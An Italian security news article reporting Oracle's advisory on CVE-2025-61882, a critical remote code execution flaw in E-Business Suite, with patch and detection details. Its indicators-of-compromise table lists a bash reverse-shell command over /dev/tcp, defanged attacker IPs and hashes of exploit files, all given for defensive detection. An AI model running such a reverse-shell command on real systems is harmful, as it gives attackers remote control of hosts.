Red Hot Cyber
Sicurezza Informatica, Notizie su Cybercrime e Analisi Vulnerabilità

Vulnerabilità da 9.8 in Oracle E-Business Suite: aggiornamenti urgenti necessari

5 Ottobre 2025 21:28

Oracle ha pubblicato un avviso di sicurezza relativo a una vulnerabilità critica identificata come CVE-2025-61882 presente nella suite Oracle E-Business. La falla può essere sfruttata da remoto senza necessità di autenticazione, consentendo potenzialmente l’esecuzione di codice malevolo sui sistemi colpiti.

L’azienda raccomanda ai propri clienti di applicare immediatamente gli aggiornamenti indicati nell’avviso. Oracle sottolinea l’importanza di mantenere le versioni dei prodotti attivamente supportate e di installare senza ritardo tutte le patch di sicurezza critiche. In particolare, l’aggiornamento delle patch critiche rilasciate nell’ottobre 2023 rappresenta un prerequisito per l’implementazione delle nuove correzioni.

Per supportare il rilevamento e il contenimento immediato di eventuali attacchi, l’avviso include una matrice dei rischi con indicatori di compromissione, quali indirizzi IP sospetti, comandi e file associati agli exploit conosciuti.

Prodotti interessati e patch disponibili

La vulnerabilità interessa specificamente le versioni di Oracle E-Business Suite dalla 12.2.3 alla 12.2.14. La documentazione ufficiale, disponibile tramite i link forniti da Oracle, contiene informazioni dettagliate sulle patch e sulle modalità di installazione.

rodotti e versioni interessatiDocumento sulla disponibilità delle patch
Oracle E-Business Suite, versioni 12.2.3-12.2.14Oracle E-Business Suite

Supporto e versioni legacy

Le patch fornite tramite il programma Security Alert sono disponibili solo per le versioni coperte dal Premier Support o dall’Extended Support secondo la Lifetime Support Policy di Oracle.

Le versioni non incluse in questi programmi non vengono testate per le vulnerabilità segnalate, anche se potrebbero comunque essere interessate. Per questa ragione, Oracle consiglia l’aggiornamento alle versioni supportate per garantire protezione e compatibilità con le patch di sicurezza.

Come verificare se si è affetti dal bug

La vulnerabilità CVE-2025-61882 riguarda Oracle E‑Business Suite ed è sfruttabile da remoto senza autenticazione, con potenziale esecuzione di codice remoto se sfruttata con successo.

Su GitHub è stato pubblicato un metodo pubblico di rilevamento che aiuta a identificare istanze potenzialmente non aggiornate. Il metodo segnala un’istanza come sospetta quando la pagina restituisce la stringa “E-Business Suite Home Page” e l’intestazione HTTP Last-Modified riporta una data precedente al 4 ottobre 2025 (timestamp Unix 1759602752).

Questo approccio è descritto come uno strumento di individuazione — non come un vettore di attacco — e dovrebbe essere usato esclusivamente per scopi di verifica e difesa. Per rimuovere il rischio, Oracle raccomanda l’applicazione delle patch indicate nell’avviso di sicurezza e l’aggiornamento alle versioni supportate.

Indicatori di compromissione (IOC)

Di seguito sono riportati gli indicatori di compromissione (indirizzi IP, comandi osservati e file) per supportare il rilevamento, la ricerca e il contenimento immediati.

IndicatorTypeDescription
200[.]107[.]207[.]26IPPotential GET and POST activity
185[.]181[.]60[.]11IPPotential GET and POST activity
sh -c /bin/bash -i >& /dev/tcp// 0>&1CommandEstablish an outbound TCP connection over a specific port
76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235dSHA 256oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip
aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121SHA 256oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/exp.py
6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1bSHA 256oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/server.py

 

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Agostino Pellegrino 300x300
E’ un libero professionista, insegnante e perito di informatica Forense, Cyber Security ed Ethical Hacking e Network Management. Ha collaborato con importanti istituti di formazione a livello internazionale e ha esercitato teaching e tutorship in tecniche avanzate di Offensive Security per la NATO ottenendo importanti riconoscimenti dal Governo degli Stati Uniti. Il suo motto è “Studio. Sempre”.
Aree di competenza: Cybersecurity architecture, Threat intelligence, Digital forensics, Offensive security, Incident response & SOAR, Malware analysis, Compliance & frameworks

Articoli in evidenza

Immagine del sitoCybercrime
Campagna di phishing su Signal in Europa: sospetto coinvolgimento di attori statali
Bajram Zeqiri - 07/02/2026

Le autorità tedesche hanno recentemente lanciato un avviso riguardante una sofisticata campagna di phishing che prende di mira gli utenti di Signal in Germania e nel resto d’Europa. L’attacco si concentra su profili specifici, tra…

Immagine del sitoInnovazione
Robot in cerca di carne: Quando l’AI affitta periferiche. Il tuo corpo!
Silvia Felici - 06/02/2026

L’evoluzione dell’Intelligenza Artificiale ha superato una nuova, inquietante frontiera. Se fino a ieri parlavamo di algoritmi confinati dietro uno schermo, oggi ci troviamo di fronte al concetto di “Meatspace Layer”: un’infrastruttura dove le macchine non…

Immagine del sitoCybercrime
DKnife: il framework di spionaggio Cinese che manipola le reti
Pietro Melillo - 06/02/2026

Negli ultimi anni, la sicurezza delle reti ha affrontato minacce sempre più sofisticate, capaci di aggirare le difese tradizionali e di penetrare negli strati più profondi delle infrastrutture. Un’analisi recente ha portato alla luce uno…

Immagine del sitoVulnerabilità
Così tante vulnerabilità in n8n tutti in questo momento. Cosa sta succedendo?
Agostino Pellegrino - 06/02/2026

Negli ultimi tempi, la piattaforma di automazione n8n sta affrontando una serie crescente di bug di sicurezza. n8n è una piattaforma di automazione che trasforma task complessi in operazioni semplici e veloci. Con pochi click…

Immagine del sitoInnovazione
L’IA va in orbita: Qwen 3, Starcloud e l’ascesa del calcolo spaziale
Sergio Corpettini - 06/02/2026

Articolo scritto con la collaborazione di Giovanni Pollola. Per anni, “IA a bordo dei satelliti” serviva soprattutto a “ripulire” i dati: meno rumore nelle immagini e nei dati acquisiti attraverso i vari payload multisensoriali, meno…